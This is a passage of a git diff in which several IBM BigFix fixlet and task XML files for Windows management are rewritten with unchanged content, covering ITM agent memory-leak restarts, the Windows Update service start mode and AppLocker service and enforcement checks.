-    <MIMEField>
-      <Name>bigfixme-added-time</Name>
-      <Value>Wed, 17 Oct 2012 13:14:46 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Wed, 17 Oct 2012 13:14:46 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Thu, 03 Feb 2011 17:36:14 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-domain_attributes</Name>
-      <Value>BES Warn Important</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-keywords</Name>
-      <Value>BES Client TABLE TBODY memory</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 31 Mar 2015 22:53:48 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to restart the ITM OS Agent.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __appendfile
-appendfile net stop KNTCMA_Primary
-appendfile net start KNTCMA_Primary
-delete agentRestart.bat
-copy __appendfile agentRestart.bat
-runhidden agentRestart.bat</ActionScript>
-    </DefaultAction>
-    <Action ID="Action4471">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://bigfix.me/cdb/fixlet/306</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : WARNING: Possible Memory Leak in ITM OS Client
+  ID       : 4013
+  Author   : zanesand
+  Domain   : BESC
+  Imported : 2015-03-31T20:20:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>WARNING: Possible Memory Leak in ITM OS Client</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>The listed computers have ITM OS Agents with high memory usage. This may indicate a possible memory leak. This fixlet message is triggered when the ITM OS Windows&nbsp;agent&nbsp;is using more than 150 MB of memory. The recommended action is to restart the ITM OS Agent in order to free memory.</TD></TR></TBODY></TABLE>
+<P><U><FONT size=2>Revision History</FONT></U></P>
+<UL>
+<LI>31/03/2015 -&nbsp;zanesand&nbsp;- Initial Creation </LI></UL>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
+    <Relevance><![CDATA[exists process whose (name of it is "kntcma.exe" AND (((page file usage of it) / (1024*1024)) > 200 OR (ia64 of operating system AND ((page file usage of it) / (1024*1024)) > 300) OR ((page file usage of it) > size of ram / 2)))]]></Relevance>
+    <Category>Support</Category>
+    <Source>BigFix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2015-03-31</SourceReleaseDate>
+    <SourceSeverity>Important</SourceSeverity>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Wed, 17 Oct 2012 13:14:46 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Wed, 17 Oct 2012 13:14:46 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 03 Feb 2011 17:36:14 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain_attributes</Name>
+      <Value>BES Warn Important</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>BES Client TABLE TBODY memory</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 31 Mar 2015 22:53:48 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to restart the ITM OS Agent.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __appendfile
+appendfile net stop KNTCMA_Primary
+appendfile net start KNTCMA_Primary
+delete agentRestart.bat
+copy __appendfile agentRestart.bat
+runhidden agentRestart.bat</ActionScript>
+    </DefaultAction>
+    <Action ID="Action4471">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://bigfix.me/cdb/fixlet/306</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4014).bes b/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4014).bes
index 69bf02495..b306084cf 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4014).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4014).bes	
@@ -1,49 +1,49 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : WARNING: Possible Memory Leak in ITM OS Client
-  ID       : 4014
-  Author   : zanesand
-  Domain   : BESC
-  Imported : 2015-03-31T20:29:06
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>WARNING: Possible Memory Leak in ITM OS Client</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD>The listed computers have ITM OS Agents with high memory usage. This may indicate a possible memory leak. This fixlet message is triggered when the ITM OS Windows&nbsp;agent (kntcma.exe)&nbsp;is using more than 150 MB of memory. The recommended action is to restart the ITM OS Agent in order to free memory.</TD></TR></TBODY></TABLE>
-<P><U><FONT size=2>Revision History</FONT></U></P>
-<UL>
-<LI>31/03/2015 -&nbsp;zanesand&nbsp;- Initial Creation </LI></UL>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
-    <Relevance><![CDATA[exists process whose (name of it is "kntcma.exe" AND (((page file usage of it) / (1024*1024)) > 200 OR (ia64 of operating system AND ((page file usage of it) / (1024*1024)) > 300) OR ((page file usage of it) > size of ram / 2)))]]></Relevance>
-    <Category>Support</Category>
-    <Source>SMI</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2015-04-01</SourceReleaseDate>
-    <SourceSeverity>Important</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 01 Apr 2015 03:27:47 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to restart the ITM OS Agent</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __appendfile
-appendfile net stop KNTCMA_Primary
-appendfile net start KNTCMA_Primary
-delete agentRestart.bat
-copy __appendfile agentRestart.bat
-runhidden agentRestart.bat</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : WARNING: Possible Memory Leak in ITM OS Client
+  ID       : 4014
+  Author   : zanesand
+  Domain   : BESC
+  Imported : 2015-03-31T20:29:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>WARNING: Possible Memory Leak in ITM OS Client</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>The listed computers have ITM OS Agents with high memory usage. This may indicate a possible memory leak. This fixlet message is triggered when the ITM OS Windows&nbsp;agent (kntcma.exe)&nbsp;is using more than 150 MB of memory. The recommended action is to restart the ITM OS Agent in order to free memory.</TD></TR></TBODY></TABLE>
+<P><U><FONT size=2>Revision History</FONT></U></P>
+<UL>
+<LI>31/03/2015 -&nbsp;zanesand&nbsp;- Initial Creation </LI></UL>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
+    <Relevance><![CDATA[exists process whose (name of it is "kntcma.exe" AND (((page file usage of it) / (1024*1024)) > 200 OR (ia64 of operating system AND ((page file usage of it) / (1024*1024)) > 300) OR ((page file usage of it) > size of ram / 2)))]]></Relevance>
+    <Category>Support</Category>
+    <Source>SMI</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2015-04-01</SourceReleaseDate>
+    <SourceSeverity>Important</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 01 Apr 2015 03:27:47 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to restart the ITM OS Agent</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __appendfile
+appendfile net stop KNTCMA_Primary
+appendfile net start KNTCMA_Primary
+delete agentRestart.bat
+copy __appendfile agentRestart.bat
+runhidden agentRestart.bat</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/WUAUSERV Enable (21611).bes b/Sites/Windows Management/Fixlets/Fixlets/WUAUSERV Enable (21611).bes
index 09a783d33..a5b66d215 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/WUAUSERV Enable (21611).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/WUAUSERV Enable (21611).bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : WUAUSERV Enable
-  ID       : 21611
-  Author   : tjessee
-  Domain   : BESC
-  Imported : 2016-09-14T09:15:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>WUAUSERV Enable</Title>
-    <Description>This will change the wuauserv service to a manual/demand state</Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>value &quot;Start&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv&quot; of native registry as string = &quot;4&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-13</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 13 Sep 2016 21:33:58 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv]&quot; &quot;Start&quot;=dword:00000003</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : WUAUSERV Enable
+  ID       : 21611
+  Author   : tjessee
+  Domain   : BESC
+  Imported : 2016-09-14T09:15:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>WUAUSERV Enable</Title>
+    <Description>This will change the wuauserv service to a manual/demand state</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>value &quot;Start&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv&quot; of native registry as string = &quot;4&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 13 Sep 2016 21:33:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv]&quot; &quot;Start&quot;=dword:00000003</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Application Identity service may not be running (22654).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Application Identity service may not be running (22654).bes
index 97390644e..c5ebb8090 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Application Identity service may not be running (22654).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Application Identity service may not be running (22654).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Applocker Application Identity service may not be running
-  ID       : 22654
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-22T09:18:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Applocker Application Identity service may not be running</Title>
-    <Description><![CDATA[<P>This fixlet will be applicable on machines that do not have the application identity service running.</P>
-<P>The Application Identity Service is required for Applocker to work.</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
-    <Relevance>state of service &quot;AppIDSvc&quot; != &quot;Running&quot;</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-19</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action23647">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait sc config AppIDSvc start= auto
-wait net start AppIDSvc</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Applocker Application Identity service may not be running
+  ID       : 22654
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Applocker Application Identity service may not be running</Title>
+    <Description><![CDATA[<P>This fixlet will be applicable on machines that do not have the application identity service running.</P>
+<P>The Application Identity Service is required for Applocker to work.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>state of service &quot;AppIDSvc&quot; != &quot;Running&quot;</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-19</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action23647">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait sc config AppIDSvc start= auto
+wait net start AppIDSvc</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but AppIDSvc is stopped - Windows (22655).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but AppIDSvc is stopped - Windows (22655).bes
index 15b05e98d..58fd7e6fd 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but AppIDSvc is stopped - Windows (22655).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but AppIDSvc is stopped - Windows (22655).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Applocker Rules exist but AppIDSvc is stopped - Windows
-  ID       : 22655
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-22T09:18:58
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Applocker Rules exist but AppIDSvc is stopped - Windows</Title>
-    <Description><![CDATA[<P>There are Applocker rules defined but the AppIDSvc is stopped! This means rules&nbsp;may be <STRONG>ENFORCED</STRONG>.</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>state of service &quot;AppIDSvc&quot; != &quot;Running&quot;</Relevance>
-    <Relevance>exists keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-17</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action23648">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait sc config AppIDSvc start= auto
-wait net start AppIDSvc</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Applocker Rules exist but AppIDSvc is stopped - Windows
+  ID       : 22655
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:58
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Applocker Rules exist but AppIDSvc is stopped - Windows</Title>
+    <Description><![CDATA[<P>There are Applocker rules defined but the AppIDSvc is stopped! This means rules&nbsp;may be <STRONG>ENFORCED</STRONG>.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>state of service &quot;AppIDSvc&quot; != &quot;Running&quot;</Relevance>
+    <Relevance>exists keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-17</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action23648">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait sc config AppIDSvc start= auto
+wait net start AppIDSvc</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows (20664).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows (20664).bes
index bf05db9ef..6196bd5ec 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows (20664).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows (20664).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows
-  ID       : 20664
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-17T19:08:10
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows</Title>
-    <Description><![CDATA[<P>There are Applocker rules defined but no Enforcement mode is set! This means the rule are <STRONG>ENFORCED</STRONG>.</P>
-<P><A href="https://technet.microsoft.com/en-us/library/dd759115(v=ws.11).aspx">https://technet.microsoft.com/en-us/library/dd759115(v=ws.11).aspx</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>exists keys whose (exists keys of it and not exists value &quot;EnforcementMode&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-17</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows
+  ID       : 20664
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T19:08:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows</Title>
+    <Description><![CDATA[<P>There are Applocker rules defined but no Enforcement mode is set! This means the rule are <STRONG>ENFORCED</STRONG>.</P>
+<P><A href="https://technet.microsoft.com/en-us/library/dd759115(v=ws.11).aspx">https://technet.microsoft.com/en-us/library/dd759115(v=ws.11).aspx</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>exists keys whose (exists keys of it and not exists value &quot;EnforcementMode&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-17</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker cannot run on non-enterprise versions of Windows (20223).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker cannot run on non-enterprise versions of Windows (20223).bes
index f5821a8e4..8eb07b977 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker cannot run on non-enterprise versions of Windows (20223).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker cannot run on non-enterprise versions of Windows (20223).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Applocker cannot run on non-enterprise versions of Windows
-  ID       : 20223
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-04-22T19:36:10
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Applocker cannot run on non-enterprise versions of Windows</Title>
-    <Description>This fixlet is relevant on Windows computers that cannot run AppLocker because it is not supported by the edition or version of the Operating System. </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Relevance>(product info string of operating system does not contain &quot;Enterprise&quot; and product info string of operating system does not contain &quot;Server&quot;)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-19</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 19 Apr 2016 19:00:51 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Applocker cannot run on non-enterprise versions of Windows
+  ID       : 20223
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-04-22T19:36:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Applocker cannot run on non-enterprise versions of Windows</Title>
+    <Description>This fixlet is relevant on Windows computers that cannot run AppLocker because it is not supported by the edition or version of the Operating System. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>(product info string of operating system does not contain &quot;Enterprise&quot; and product info string of operating system does not contain &quot;Server&quot;)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Apr 2016 19:00:51 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker maximum event log size may be too small (20583).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker maximum event log size may be too small (20583).bes
index ad3adce45..d8ae03d98 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker maximum event log size may be too small (20583).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker maximum event log size may be too small (20583).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Applocker maximum event log size may be too small
-  ID       : 20583
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-10T07:26:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Applocker maximum event log size may be too small</Title>
-    <Description><![CDATA[<P>The Applocker logs on the system are at their default values or set to a value less than 20 Megabytes</P>
-<P>Consider increasing the applocker log sizes to store more log data regarding Applocker</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
